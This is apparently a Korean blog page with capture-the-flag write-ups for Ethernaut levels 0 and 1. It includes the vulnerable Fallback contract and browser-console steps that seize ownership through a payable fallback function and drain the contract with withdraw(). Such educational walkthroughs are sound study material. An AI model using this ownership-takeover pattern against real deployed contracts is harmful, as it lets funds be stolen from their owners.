'Ethernaut'에 해당되는 글 2건

레벨 1. Fallback

https://ethernaut.zeppelin.solutions/level/0x234094aac85628444a82dae0396c680974260be7

 

 

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract
  2. you reduce its balance to 0

  Things that might help

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units -see help() command-
  • Fallback methods

 

자 다음 문제다.

 

계약의 소유권을 뺏고  Root권한을 뺏는것과 비슷하다.

 

해커들은 먼가를 뺏어야된다?!

 

그리고 잔액을 0을 만들라고 한다.

 

Untitled.sol

pragma solidity ^0.4.18;

import './Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

 

 

 

Ownable.sol

pragma solidity ^0.4.18;


/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

 

 

 

 

pragma solidity ^0.4.18버전이다 그러면

select에서  0.4.18의 최신버전을 맞추어 주고

 

Auto complie 옵션을 체크하는게 좋다.

버전 안맞아서 에러 뜨는 경우가 흔하다.

 

import에서 Ownable.sol파일과 함께 컴파일 된다.

 

 

 

 

 

 

 

문제 소스를 보면 contribute()를 실행하는데 이더를 0.001 ether보다

작게 보내면  오너 권한을 잠시 빌리게 된다.

 

 

그리고 withdraw()를 실행하면

owner.transfer(this.balance);

 

잔액을 가지고 오는 형태다.

플레이어주소 = 메타마스크 주소다.

 

메타마스크가 자바스크립트로 되어 있어서

호환된다.

 

이문제는 솔리디티 컴파일 안해도 풀수 있는 문제이긴 하다.

 

 

오너 주소 확인

await contract.owner()
"0x234094aac85628444a82dae0396c680974260be7"

플레이어 주소 확인

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f

 

계약 인스턴스 확인 contract.address

instance
"0xf14cc443e95edb000962252225468bce8442a8aa"

메타마스크로 인스턴스 주소로 송금 0.0001 eth

오너 주소 플레이어주소로  바뀌었음
await contract.owner()
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

플레이어주소

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

 

계좌 확인

await getBalance(instance)
"0.0021"

취약한 함수 실행 오너권한으로 계좌 훔치기

contract.withdraw()
Promise {<pending>}

 

계좌가 0원된거 확인

await getBalance(instance)
"0"

 

 


 

 

처음은 두 주소가 다르지만

권한을 획득하면 두 주소가 같게 되면서 다음문제를 풀수 있다.

 

 

메타마스크를 통해 인스턴스 주소를 보내면 

owner와 player의 계좌가 동일 한걸 알수 있다.

 

 

 

 

 

스마트컨트렉 취약점은 졸라 무서운게 PK가 없더라도 돈을 빼올수 있다.

 

일반 집이든 근로든 계약서 잘 신경쓰라고 하는것도

 

같은거다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 0. Hello Ethernaut  (0) 2018.12.28
블로그 이미지

iesay

,

요즘 해킹 대회에서도 스마트컨트렉 보안관련 문제가 가끔 나온다.

스마트컨트렉은  온라인 계약이니 이더리움의 솔리디티관련 CTF 도장깨기를

시작해 볼까 한다.

 

생각보다 문제 많이 까다롭다.

천천히 올클을 목표로!!

 

레벨 0. Hello Ethernaut

https://ethernaut.zeppelin.solutions/level/0xdf51a9e8ce57e7787e4a27dd19880fd7106b9a5c

 

This level walks you through the very basics of how to play the game.

블록체인은 remote exploit 처럼 특정 contract에 계속 먼가를 던저야 되니

중간에 gdb처럼 디버깅되는 과정을 보기 힘들다.

그래서 다른 wargame과 다르게 조금 풀기가 까다로울수도 있다.

그리고 또 개념을 잘 잡아야 된다. Dapp을 만들던 메인넷을 하던 컨트렉을 짜던

개념이 아주 중요하다.

UTXO를 모르고 BTC지갑을 만들수 있을가?

이론적인 부분도 아주 중요한 부분이 된다.

1. Set up MetaMask
2. Open the browser's console
3. Use the console helpers
4. The ethernaut contract
5. Interact with the ABI
6. Get test ether
7. Getting a level instance
8. Inspecting the contract
9. Interact with the contract to complete the level 

설명은 차근 차근 읽어 보도록 한다.

0단계는 쉽다.

  

메타마스크 연동해서  롭스톤 테스트넷 연동하고 그런건 알아서 타 블로그를

참고 하길 바란다.

 

Get New instance를 하면 메타마스크에서 컨트렉을 하나 보낼수 있다.

크롬 개발자 도구 F12눌러서 Console에서 진행하면 된다.

 

블록체인은 동기 비동기라서 await와 sync를 잘 활용해야된다

자바스크립트 특징상 한꺼번에 처리 할려구 하니 모든 구문은

서버랑 통신하는 모든 구문은 거의 await를 쓴다고 보면된다.

 소스 코드는 원본 홈페이지를 참고하고 write up만 나열한다.

await contract.info()
"You will find what you need in info1()."


await contract.info1()
"Try info2(), but with "hello" as a parameter."


await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
t {s: 1, e: 1, c: Array(1)}c: [42]e: 1s: 1__proto__: Object


await contract.info42()
"theMethodName is the name of the next method."


await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()

ethernaut0


await contract.authenticate('ethernaut0')
{tx: "0x9f6c29c29b5397f6df441d4eddb6ae82b89818e57f40635f37eec6ac9153205d", receipt: {…}, logs: Array(0)} 

 

 

Submit instance를 누러 메타마스크를 실행하면

Pendding이 완료되면

다음 단계로 넘어 간다.

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 1. Fallback  (0) 2018.12.28
블로그 이미지

iesay

,